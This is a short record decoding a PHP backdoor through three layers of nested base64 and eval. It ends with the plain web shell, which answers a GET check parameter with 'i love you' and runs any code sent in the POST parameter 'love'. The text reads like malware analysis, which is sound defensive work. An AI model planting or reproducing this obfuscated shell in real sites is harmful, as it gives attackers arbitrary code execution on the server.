Decrypted code level 1:

eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ2RoVjFsdlNrWTVTRkpXVW1KS00xSnNZek5TZG1OdVNubEtNVEE1VUZOamVFcDViRGRKUjFacVlVYzRaMG95YTJkaVJ6a3lXbE5DTldJelZXNVBlVUpzWlVkc01FOTVRamxKUVhCd1dtbG9jR016VG14a1EyZHJXREZDVUZVeFVtSktNbmgyWkcxVmJsaFRhM0JsZDNCc1pHMUdjMHREVW1aVlJUbFVWa1p6Ym1KSE9USmFVMlJrUzFSelMxcFlhSEJrUkhOTFpsRTlQU2NwS1RzPScpKTs='));�

Decrypted code level 2:

eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdhV1lvSkY5SFJWUmJKM1JsYzNSdmNuSnlKMTA5UFNjeEp5bDdJR1ZqYUc4Z0oya2diRzkyWlNCNWIzVW5PeUJsZUdsME95QjlJQXBwWmlocGMzTmxkQ2drWDFCUFUxUmJKMnh2ZG1VblhTa3Bld3BsZG1Gc0tDUmZVRTlUVkZzbmJHOTJaU2RkS1RzS1pYaHBkRHNLZlE9PScpKTs='));�

Decrypted code level 3:

eval(base64_decode('aWYoJF9HRVRbJ3Rlc3RvcnJyJ109PScxJyl7IGVjaG8gJ2kgbG92ZSB5b3UnOyBleGl0OyB9IAppZihpc3NldCgkX1BPU1RbJ2xvdmUnXSkpewpldmFsKCRfUE9TVFsnbG92ZSddKTsKZXhpdDsKfQ=='));�

if($_GET['testorrr']=='1'){ echo 'i love you'; exit; } 
if(isset($_POST['love'])){
eval($_POST['love']);
exit;
}�